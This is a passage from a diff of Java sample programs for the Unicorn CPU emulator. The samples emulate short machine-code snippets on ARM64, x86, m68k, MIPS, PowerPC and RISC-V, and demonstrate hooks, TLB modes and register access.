uc.mem_write(shellcode_address, shellcode0);
uc.mem_write(shellcode_address + 4, shellcode);
uc.emu_start(shellcode_address, shellcode_address + 4, 0, 0);
long x0 = uc.reg_read(UC_ARM64_REG_X0);
System.out.format(">>> x0(Exception Level)=%x\n", x0 >> 2);
uc.emu_start(shellcode_address + 4, shellcode_address + 8, 0, 0);
long x1 = uc.reg_read(UC_ARM64_REG_X1);
System.out.format(">>> X1 = 0x%x\n", x1);
}
public static void test_arm64() {
long x11 = 0x12345678; // X11 register
long x13 = 0x10000 + 0x8; // X13 register
long x15 = 0x33; // X15 register
System.out.println("Emulate ARM64 code");
// Initialize emulator in ARM mode
Unicorn uc = new Unicorn(UC_ARCH_ARM64, UC_MODE_ARM);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, ARM64_CODE);
// initialize machine registers
uc.reg_write(UC_ARM64_REG_X11, x11);
uc.reg_write(UC_ARM64_REG_X13, x13);
uc.reg_write(UC_ARM64_REG_X15, x15);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
uc.hook_add(hook_code, ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
uc.emu_start(ADDRESS, ADDRESS + ARM64_CODE.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.println(">>> As little endian, X15 should be 0x78:");
System.out.format(">>> X15 = 0x%x\n", uc.reg_read(UC_ARM64_REG_X15));
}
public static void test_arm64eb() {
long x11 = 0x12345678; // X11 register
long x13 = 0x10000 + 0x8; // X13 register
long x15 = 0x33; // X15 register
System.out.println("Emulate ARM64 Big-Endian code");
// Initialize emulator in ARM mode
Unicorn uc =
new Unicorn(UC_ARCH_ARM64, UC_MODE_ARM + UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, ARM64_CODE_EB);
// initialize machine registers
uc.reg_write(UC_ARM64_REG_X11, x11);
uc.reg_write(UC_ARM64_REG_X13, x13);
uc.reg_write(UC_ARM64_REG_X15, x15);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
uc.hook_add(hook_code, ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
uc.emu_start(ADDRESS, ADDRESS + ARM64_CODE_EB.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.println(">>> As big endian, X15 should be 0x78:");
System.out.format(">>> X15 = 0x%x\n", uc.reg_read(UC_ARM64_REG_X15));
}
public static void test_arm64_sctlr() {
long val;
System.out.println("Read the SCTLR register.");
Unicorn uc =
new Unicorn(UC_ARCH_ARM64, UC_MODE_LITTLE_ENDIAN | UC_MODE_ARM);
// SCTLR_EL1. See arm reference.
Arm64_CP reg = new Arm64_CP(1, 0, 3, 0, 0);
val = (long) uc.reg_read(UC_ARM64_REG_CP_REG, reg);
System.out.format(">>> SCTLR_EL1 = 0x%x\n", val);
reg.op1 = 0b100;
val = (long) uc.reg_read(UC_ARM64_REG_CP_REG, reg);
System.out.format(">>> SCTLR_EL2 = 0x%x\n", val);
}
private static final Arm64SysHook hook_mrs =
(uc, reg, cp_reg, user_data) -> {
System.out
.println(">>> Hook MSR instruction. Write 0x114514 to X2.");
uc.reg_write(reg, 0x114514L);
// Skip
return 1;
};
public static void test_arm64_hook_mrs() {
System.out.println("Hook MRS instruction.");
Unicorn uc =
new Unicorn(UC_ARCH_ARM64, UC_MODE_LITTLE_ENDIAN | UC_MODE_ARM);
uc.mem_map(0x1000, 0x1000, UC_PROT_ALL);
uc.mem_write(0x1000, ARM64_MRS_CODE);
uc.hook_add(hook_mrs, UC_ARM64_INS_MRS, 1, 0, null);
uc.emu_start(0x1000, 0x1000 + ARM64_MRS_CODE.length, 0, 0);
System.out.format(">>> X2 = 0x%x\n", uc.reg_read(UC_ARM64_REG_X2));
}
/* Test PAC support in the emulator. Code adapted from
https://github.com/unicorn-engine/unicorn/issues/1789#issuecomment-1536320351 */
public static void test_arm64_pac() {
long x1 = 0x0000aaaabbbbccccL;
System.out.println("Try ARM64 PAC");
// Initialize emulator in ARM mode
Unicorn uc = new Unicorn(UC_ARCH_ARM64, UC_MODE_ARM);
uc.ctl_set_cpu_model(UC_CPU_ARM64_MAX);
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
uc.mem_write(ADDRESS, ARM64_PAC_CODE);
uc.reg_write(UC_ARM64_REG_X1, x1);
/** Initialize PAC support **/
Arm64_CP reg;
// SCR_EL3
reg = new Arm64_CP(1, 1, 3, 6, 0);
reg.val = (Long) uc.reg_read(UC_ARM64_REG_CP_REG, reg);
// NS && RW && API
reg.val |= (1 | (1L << 10) | (1L << 17));
uc.reg_write(UC_ARM64_REG_CP_REG, reg);
// SCTLR_EL1
reg = new Arm64_CP(1, 0, 3, 0, 0);
reg.val = (Long) uc.reg_read(UC_ARM64_REG_CP_REG, reg);
// EnIA && EnIB
reg.val |= (1L << 31) | (1L << 30);
uc.reg_write(UC_ARM64_REG_CP_REG, reg);
// HCR_EL2
reg = new Arm64_CP(1, 1, 3, 4, 0);
reg.val = (Long) uc.reg_read(UC_ARM64_REG_CP_REG, reg);
// HCR.API
reg.val |= (1L << 41);
uc.reg_write(UC_ARM64_REG_CP_REG, reg);
/** Check that PAC worked **/
uc.emu_start(ADDRESS, ADDRESS + ARM64_PAC_CODE.length, 0, 0);
long new_x1 = uc.reg_read(UC_ARM64_REG_X1);
System.out.format("X1 = 0x%x\n", new_x1);
if (new_x1 == x1) {
System.out.println("FAIL: No PAC tag added!");
} else {
// Expect 0x1401aaaabbbbccccULL with the default key
System.out.println("SUCCESS: PAC tag found.");
}
}
public static void main(String args[]) {
test_arm64_mem_fetch();
System.out.println("-------------------------");
test_arm64();
System.out.println("-------------------------");
test_arm64eb();
System.out.println("-------------------------");
test_arm64_sctlr();
System.out.println("-------------------------");
test_arm64_hook_mrs();
System.out.println("-------------------------");
test_arm64_pac();
}
}

View File

@@ -0,0 +1,159 @@
package samples;
import java.util.Arrays;
import unicorn.*;
public class Sample_ctl implements UnicornConst, X86Const {
/** Code to be emulated
* <pre>
* cmp eax, 0;
* jg lb;
* inc eax;
* nop;
* lb:
* inc ebx;
* nop;
* </pre>
*/
private static final byte[] X86_JUMP_CODE =
Utils.hexToBytes("83f8007f0240904390");
/** memory address where emulation starts */
private static final long ADDRESS = 0x10000;
public static void test_uc_ctl_read() {
System.out.println("Reading some properties by uc_ctl.");
// Initialize emulator in X86-32bit mode
Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32);
// Let's query some properties by uc_ctl.
int mode = uc.ctl_get_mode();
int arch = uc.ctl_get_arch();
long timeout = uc.ctl_get_timeout();
int pagesize = uc.ctl_get_page_size();
System.out.format(">>> mode = %d, arch = %d, timeout=%d, pagesize=%d\n",
mode, arch, timeout, pagesize);
}
private static final EdgeGeneratedHook trace_new_edge =
(uc, cur, prev, data) -> {
System.out.format(">>> Getting a new edge from 0x%x to 0x%x.\n",
prev.pc + prev.size - 1, cur.pc);
};
public static void test_uc_ctl_exits() {
long r_eax, r_ebx;
long exits[] = { ADDRESS + 6, ADDRESS + 8 };
System.out.println("Using multiple exits by uc_ctl.");
// Initialize emulator in X86-32bit mode
Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32);
uc.mem_map(ADDRESS, 0x1000, UC_PROT_ALL);
// Write our code to the memory.
uc.mem_write(ADDRESS, X86_JUMP_CODE);
// We trace if any new edge is generated.
uc.hook_add(trace_new_edge, 1, 0, null);
// Enable multiple exits.
uc.ctl_exits_enabled(true);
uc.ctl_set_exits(exits);
// This should stop at ADDRESS + 6 and increase eax, even thouhg we don't
// provide an exit.
uc.emu_start(ADDRESS, 0, 0, 0);
r_eax = uc.reg_read(UC_X86_REG_EAX);
r_ebx = uc.reg_read(UC_X86_REG_EBX);
System.out.format(
">>> eax = %d and ebx = %d after the first emulation\n",
r_eax, r_ebx);
// This should stop at ADDRESS + 8, even though we don't provide an exit.
uc.emu_start(ADDRESS, 0, 0, 0);
r_eax = uc.reg_read(UC_X86_REG_EAX);
r_ebx = uc.reg_read(UC_X86_REG_EBX);
System.out.format(
">>> eax = %d and ebx = %d after the second emulation\n",
r_eax, r_ebx);
}
private static final int TB_COUNT = 8;
private static final int TCG_MAX_INSNS = 512; // from tcg.h
private static final int CODE_LEN = TB_COUNT * TCG_MAX_INSNS;
private static double time_emulation(Unicorn uc, long start, long end) {
long t1 = System.nanoTime();
uc.emu_start(start, end, 0, 0);
long t2 = System.nanoTime();
return (t2 - t1) / 1000000.0;
}
public static void test_uc_ctl_tb_cache() {
byte[] code = new byte[CODE_LEN];
double standard, cached, evicted;
System.out.println(
"Controlling the TB cache in a finer granularity by uc_ctl.");
// Fill the code buffer with NOP.
Arrays.fill(code, (byte) 0x90);
// Initialize emulator in X86-32bit mode
Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32);
uc.mem_map(ADDRESS, 0x10000, UC_PROT_ALL);
// Write our code to the memory.
uc.mem_write(ADDRESS, code);
// We trace if any new edge is generated.
// Note: In this sample, there is only **one** basic block while muliple
// translation blocks is generated due to QEMU tcg buffer limit. In this
// case, we don't consider it as a new edge.
uc.hook_add(trace_new_edge, 1, 0, null);
// Do emulation without any cache.
standard = time_emulation(uc, ADDRESS, ADDRESS + CODE_LEN);
// Now we request cache for all TBs.
for (int i = 0; i < TB_COUNT; i++) {
TranslationBlock tb =
uc.ctl_request_cache(ADDRESS + i * TCG_MAX_INSNS);
System.out.format(
">>> TB is cached at 0x%x which has %d instructions with %d bytes.\n",
tb.pc, tb.icount, tb.size);
}
// Do emulation with all TB cached.
cached = time_emulation(uc, ADDRESS, ADDRESS + CODE_LEN);
// Now we clear cache for all TBs.
for (int i = 0; i < TB_COUNT; i++) {
uc.ctl_remove_cache(ADDRESS + i * TCG_MAX_INSNS,
ADDRESS + i * TCG_MAX_INSNS + 1);
}
// Do emulation with all TB cache evicted.
evicted = time_emulation(uc, ADDRESS, ADDRESS + CODE_LEN);
System.out.format(
">>> Run time: First time: %fms, Cached: %fms, Cache evicted: %fms\n",
standard, cached, evicted);
}
public static final void main(String[] args) {
test_uc_ctl_read();
System.out.println("====================");
test_uc_ctl_exits();
System.out.println("====================");
test_uc_ctl_tb_cache();
}
}

View File

@@ -0,0 +1,159 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Unicorn Emulator Engine */
/* By Loi Anh Tuan, 2015 */
/* Sample code to demonstrate how to emulate m68k code */
package samples;
import unicorn.*;
public class Sample_m68k implements UnicornConst, M68kConst {
// code to be emulated
public static final byte[] M68K_CODE = { 118, -19 }; // movq #-19, %d3
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
// callback for tracing basic blocks
private static final BlockHook hook_block =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n",
address, size);
};
// callback for tracing instructions
private static final CodeHook hook_code =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
};
public static void test_m68k() {
long d0 = 0x0000L; // d0 data register
long d1 = 0x0000L; // d1 data register
long d2 = 0x0000L; // d2 data register
long d3 = 0x0000L; // d3 data register
long d4 = 0x0000L; // d4 data register
long d5 = 0x0000L; // d5 data register
long d6 = 0x0000L; // d6 data register
long d7 = 0x0000L; // d7 data register
long a0 = 0x0000L; // a0 address register
long a1 = 0x0000L; // a1 address register
long a2 = 0x0000L; // a2 address register
long a3 = 0x0000L; // a3 address register
long a4 = 0x0000L; // a4 address register
long a5 = 0x0000L; // a5 address register
long a6 = 0x0000L; // a6 address register
long a7 = 0x0000L; // a6 address register
long pc = 0x0000L; // program counter
long sr = 0x0000L; // status register
System.out.print("Emulate M68K code\n");
// Initialize emulator in M68K mode
Unicorn u = new Unicorn(UC_ARCH_M68K, UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, M68K_CODE);
// initialize machine registers
u.reg_write(UC_M68K_REG_D0, d0);
u.reg_write(UC_M68K_REG_D1, d1);
u.reg_write(UC_M68K_REG_D2, d2);
u.reg_write(UC_M68K_REG_D3, d3);
u.reg_write(UC_M68K_REG_D4, d4);
u.reg_write(UC_M68K_REG_D5, d5);
u.reg_write(UC_M68K_REG_D6, d6);
u.reg_write(UC_M68K_REG_D7, d7);
u.reg_write(UC_M68K_REG_A0, a0);
u.reg_write(UC_M68K_REG_A1, a1);
u.reg_write(UC_M68K_REG_A2, a2);
u.reg_write(UC_M68K_REG_A3, a3);
u.reg_write(UC_M68K_REG_A4, a4);
u.reg_write(UC_M68K_REG_A5, a5);
u.reg_write(UC_M68K_REG_A6, a6);
u.reg_write(UC_M68K_REG_A7, a7);
u.reg_write(UC_M68K_REG_PC, pc);
u.reg_write(UC_M68K_REG_SR, sr);
// tracing all basic blocks with customized callback
u.hook_add(hook_block, 1, 0, null);
// tracing all instruction
u.hook_add(hook_code, 1, 0, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
d0 = u.reg_read(UC_M68K_REG_D0);
d1 = u.reg_read(UC_M68K_REG_D1);
d2 = u.reg_read(UC_M68K_REG_D2);
d3 = u.reg_read(UC_M68K_REG_D3);
d4 = u.reg_read(UC_M68K_REG_D4);
d5 = u.reg_read(UC_M68K_REG_D5);
d6 = u.reg_read(UC_M68K_REG_D6);
d7 = u.reg_read(UC_M68K_REG_D7);
a0 = u.reg_read(UC_M68K_REG_A0);
a1 = u.reg_read(UC_M68K_REG_A1);
a2 = u.reg_read(UC_M68K_REG_A2);
a3 = u.reg_read(UC_M68K_REG_A3);
a4 = u.reg_read(UC_M68K_REG_A4);
a5 = u.reg_read(UC_M68K_REG_A5);
a6 = u.reg_read(UC_M68K_REG_A6);
a7 = u.reg_read(UC_M68K_REG_A7);
pc = u.reg_read(UC_M68K_REG_PC);
sr = u.reg_read(UC_M68K_REG_SR);
System.out.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n", a0, d0);
System.out.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n", a1, d1);
System.out.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n", a2, d2);
System.out.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n", a3, d3);
System.out.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n", a4, d4);
System.out.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n", a5, d5);
System.out.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n", a6, d6);
System.out.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n", a7, d7);
System.out.format(">>> PC = 0x%x\n", pc);
System.out.format(">>> SR = 0x%x\n", sr);
}
public static void main(String args[]) {
test_m68k();
}
}

View File

@@ -0,0 +1,134 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh, 2015 */
/* Sample code to demonstrate how to emulate Mips code (big endian) */
package samples;
import unicorn.*;
public class Sample_mips implements UnicornConst, MipsConst {
// code to be emulated
public static final byte[] MIPS_CODE_EB = { 52, 33, 52, 86 }; // ori $at, $at, 0x3456
public static final byte[] MIPS_CODE_EL = { 86, 52, 33, 52 }; // ori $at, $at, 0x3456
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
size);
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
}
}
public static void test_mips_eb() {
long r1 = 0x6789L; // R1 register
System.out.println("Emulate MIPS code (big-endian)");
// Initialize emulator in MIPS mode
Unicorn u =
new Unicorn(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, MIPS_CODE_EB);
// initialize machine registers
u.reg_write(UC_MIPS_REG_1, r1);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
r1 = u.reg_read(UC_MIPS_REG_1);
System.out.format(">>> R1 = 0x%x\n", r1);
}
public static void test_mips_el() {
long r1 = 0x6789L; // R1 register
System.out.println("Emulate MIPS code (little-endian)");
// Initialize emulator in MIPS mode
Unicorn u = new Unicorn(UC_ARCH_MIPS,
UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, MIPS_CODE_EL);
// initialize machine registers
u.reg_write(UC_MIPS_REG_1, r1);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
r1 = u.reg_read(UC_MIPS_REG_1);
System.out.format(">>> R1 = 0x%x\n", r1);
}
public static void main(String args[]) {
test_mips_eb();
System.out.println("===========================");
test_mips_el();
}
}

View File

@@ -0,0 +1,224 @@
package samples;
import unicorn.*;
public class Sample_mmu implements UnicornConst, X86Const {
/** Code:
* <pre>
* mov rax, 57
* syscall
* test rax, rax
* jz child
* xor rax, rax
* mov rax, 60
* mov [0x4000], rax
* syscall
*
* child:
* xor rcx, rcx
* mov rcx, 42
* mov [0x4000], rcx
* mov rax, 60
* syscall
* </pre>
*/
private static final byte[] CODE = Utils.hexToBytes(
"B8390000000F054885C0740FB83C00000048890425004000000F05B92A00000048890C2500400000B83C0000000F05");
private static final MemHook mmu_write_callback =
(uc, type, address, size, value, user_data) -> {
System.out.format("write at 0x%x: 0x%x\n", address, value);
};
private static void x86_mmu_prepare_tlb(Unicorn uc, long vaddr,
long tlb_base) {
long cr0;
long cr4;
X86_MSR msr = new X86_MSR(0xC0000080);
long pml4o = ((vaddr & 0x00ff8000000000L) >> 39) * 8;
long pdpo = ((vaddr & 0x00007fc0000000L) >> 30) * 8;
long pdo = ((vaddr & 0x0000003fe00000L) >> 21) * 8;
long pml4e = (tlb_base + 0x1000L) | 1 | (1 << 2);
long pdpe = (tlb_base + 0x2000L) | 1 | (1 << 2);
long pde = (tlb_base + 0x3000L) | 1 | (1 << 2);
uc.mem_write(tlb_base + pml4o, Utils.toBytes(pml4e));
uc.mem_write(tlb_base + 0x1000 + pdpo, Utils.toBytes(pdpe));
uc.mem_write(tlb_base + 0x2000 + pdo, Utils.toBytes(pde));
uc.reg_write(UC_X86_REG_CR3, tlb_base);
cr0 = uc.reg_read(UC_X86_REG_CR0);
cr4 = uc.reg_read(UC_X86_REG_CR4);
msr.value = (Long) uc.reg_read(UC_X86_REG_MSR, msr);
cr0 |= 1; //enable protected mode
cr0 |= 1l << 31; //enable paging
cr4 |= 1l << 5; //enable physical address extension
msr.value |= 1l << 8; //enable long mode
uc.reg_write(UC_X86_REG_CR0, cr0);
uc.reg_write(UC_X86_REG_CR4, cr4);
uc.reg_write(UC_X86_REG_MSR, msr);
}
private static void x86_mmu_pt_set(Unicorn uc, long vaddr, long paddr,
long tlb_base) {
long pto = ((vaddr & 0x000000001ff000L) >> 12) * 8;
long pte = (paddr) | 1 | (1 << 2);
uc.mem_write(tlb_base + 0x3000 + pto, Utils.toBytes((int) pte));
}
private static SyscallHook x86_mmu_syscall_callback = (uc, userdata) -> {
boolean[] parent_done = (boolean[]) userdata;
long rax = uc.reg_read(UC_X86_REG_RAX);
switch ((int) rax) {
case 57:
/* fork */
break;
case 60:
/* exit */
parent_done[0] = true;
uc.emu_stop();
return;
default:
System.out.println("unknown syscall");
System.exit(1);
}
if (!parent_done[0]) {
rax = 27;
uc.reg_write(UC_X86_REG_RAX, rax);
uc.emu_stop();
}
};
public static void cpu_tlb() {
long tlb_base = 0x3000;
long rip;
boolean[] parent_done = { false };
System.out.println(
"Emulate x86 amd64 code with mmu enabled and switch mappings");
Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_64);
uc.ctl_tlb_mode(UC_TLB_CPU);
Unicorn.Context context = uc.context_save();
uc.hook_add(x86_mmu_syscall_callback, UC_X86_INS_SYSCALL, 1, 0,
parent_done);
// Memory hooks are called after the mmu translation, so hook the physicall addresses
uc.hook_add(mmu_write_callback, UC_HOOK_MEM_WRITE, 0x1000, 0x3000,
null);
System.out.println("map code");
uc.mem_map(0x0, 0x1000, UC_PROT_ALL); // Code
uc.mem_write(0x0, CODE);
System.out.println("map parent memory");
uc.mem_map(0x1000, 0x1000, UC_PROT_ALL); // Parrent
System.out.println("map child memory");
uc.mem_map(0x2000, 0x1000, UC_PROT_ALL); // Child
System.out.println("map tlb memory");
uc.mem_map(tlb_base, 0x4000, UC_PROT_ALL); // TLB
System.out.println("set up the tlb");
x86_mmu_prepare_tlb(uc, 0x0, tlb_base);
x86_mmu_pt_set(uc, 0x2000, 0x0, tlb_base);
x86_mmu_pt_set(uc, 0x4000, 0x1000, tlb_base);
uc.ctl_flush_tlb();
System.out.println("run the parent");
uc.emu_start(0x2000, 0x0, 0, 0);
System.out.println("save the context for the child");
uc.context_update(context);
System.out.println("finish the parent");
rip = uc.reg_read(UC_X86_REG_RIP);
uc.emu_start(rip, 0x0, 0, 0);
System.out.println("restore the context for the child");
uc.context_restore(context);
x86_mmu_prepare_tlb(uc, 0x0, tlb_base);
x86_mmu_pt_set(uc, 0x4000, 0x2000, tlb_base);
uc.reg_write(UC_X86_REG_RAX, 0L);
uc.ctl_flush_tlb();
uc.emu_start(rip, 0x0, 0, 0);
long parent = Utils.toLong(uc.mem_read(0x1000, Long.BYTES));
long child = Utils.toLong(uc.mem_read(0x2000, Long.BYTES));
System.out.format("parent result == %d\n", parent);
System.out.format("child result == %d\n", child);
}
private static final TlbFillHook virtual_tlb_callback =
(uc, addr, type, user_data) -> {
boolean[] parent_done = (boolean[]) user_data;
System.out.format("tlb lookup for address: 0x%X\n", addr);
switch ((int) (addr & ~(0xfffL))) {
case 0x2000:
return 0x0L | UC_PROT_EXEC;
case 0x4000:
if (parent_done[0]) {
return (0x2000L) | UC_PROT_READ | UC_PROT_WRITE;
} else {
return (0x1000L) | UC_PROT_READ | UC_PROT_WRITE;
}
default:
return -1L;
}
};
public static void virtual_tlb() {
long rip;
boolean[] parent_done = { false };
System.out.println("Emulate x86 amd64 code with virtual mmu");
Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_64);
uc.ctl_tlb_mode(UC_TLB_VIRTUAL);
Unicorn.Context context = uc.context_save();
uc.hook_add(x86_mmu_syscall_callback, UC_X86_INS_SYSCALL, 1, 0,
parent_done);
// Memory hooks are called after the mmu translation, so hook the physicall addresses
uc.hook_add(mmu_write_callback, UC_HOOK_MEM_WRITE, 0x1000, 0x3000,
null);
System.out.println("map code");
uc.mem_map(0x0, 0x1000, UC_PROT_ALL); // Code
uc.mem_write(0x0, CODE);
System.out.println("map parent memory");
uc.mem_map(0x1000, 0x1000, UC_PROT_ALL); // Parrent
System.out.println("map child memory");
uc.mem_map(0x2000, 0x1000, UC_PROT_ALL); // Child
uc.hook_add(virtual_tlb_callback, 1, 0, parent_done);
System.out.println("run the parent");
uc.emu_start(0x2000, 0x0, 0, 0);
System.out.println("save the context for the child");
uc.context_update(context);
System.out.println("finish the parent");
rip = uc.reg_read(UC_X86_REG_RIP);
uc.emu_start(rip, 0x0, 0, 0);
System.out.println("restore the context for the child");
uc.context_restore(context);
parent_done[0] = true;
uc.reg_write(UC_X86_REG_RAX, 0);
uc.ctl_flush_tlb();
uc.emu_start(rip, 0x0, 0, 0);
long parent = Utils.toLong(uc.mem_read(0x1000, Long.BYTES));
long child = Utils.toLong(uc.mem_read(0x2000, Long.BYTES));
System.out.format("parent result == %d\n", parent);
System.out.format("child result == %d\n", child);
}
public static final void main(String[] args) {
cpu_tlb();
System.out.println("------------------");
virtual_tlb();
}
}

View File

@@ -0,0 +1,91 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Sample code to demonstrate how to emulate S390X code */
package samples;
import unicorn.*;
public class Sample_ppc implements UnicornConst, PpcConst {
/** code to be emulated:
* {@code add r26, r6, r3}
*/
private static final byte[] CODE = Utils.hexToBytes("7F461A14");
// memory address where emulation starts
private static final long ADDRESS = 0x10000;
private static final BlockHook hook_block =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n",
address, size);
};
private static final CodeHook hook_code =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
};
public static void test_ppc() {
long r3 = 0x1234; // R3 register
long r6 = 0x6789; // R6 register
long r26 = 0x8877; // R26 register (result)
System.out.println("Emulate PPC code");
Unicorn uc =
new Unicorn(UC_ARCH_PPC, UC_MODE_PPC32 | UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE);
// initialize machine registers
uc.reg_write(UC_PPC_REG_3, r3);
uc.reg_write(UC_PPC_REG_6, r6);
uc.reg_write(UC_PPC_REG_26, r26);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
uc.hook_add(hook_code, ADDRESS, ADDRESS + CODE.length, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> r26 = 0x%x\n", uc.reg_read(UC_PPC_REG_26));
}
public static final void main(String[] args) {
test_ppc();
}
}

View File

@@ -0,0 +1,477 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Sample code to demonstrate how to emulate S390X code */
package samples;
import unicorn.*;
public class Sample_riscv implements UnicornConst, RiscvConst {
/** code to be emulated:
* <pre>
* $ cstool riscv64 1305100093850502
* 0 13 05 10 00 addi a0, zero, 1
* 4 93 85 05 02 addi a1, a1, 0x20
* </pre>
*/
private static final byte[] CODE = Utils.hexToBytes("1305100093850502");
// memory address where emulation starts
private static final long ADDRESS = 0x10000;
private static final BlockHook hook_block =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n",
address, size);
};
private static final CodeHook hook_code =
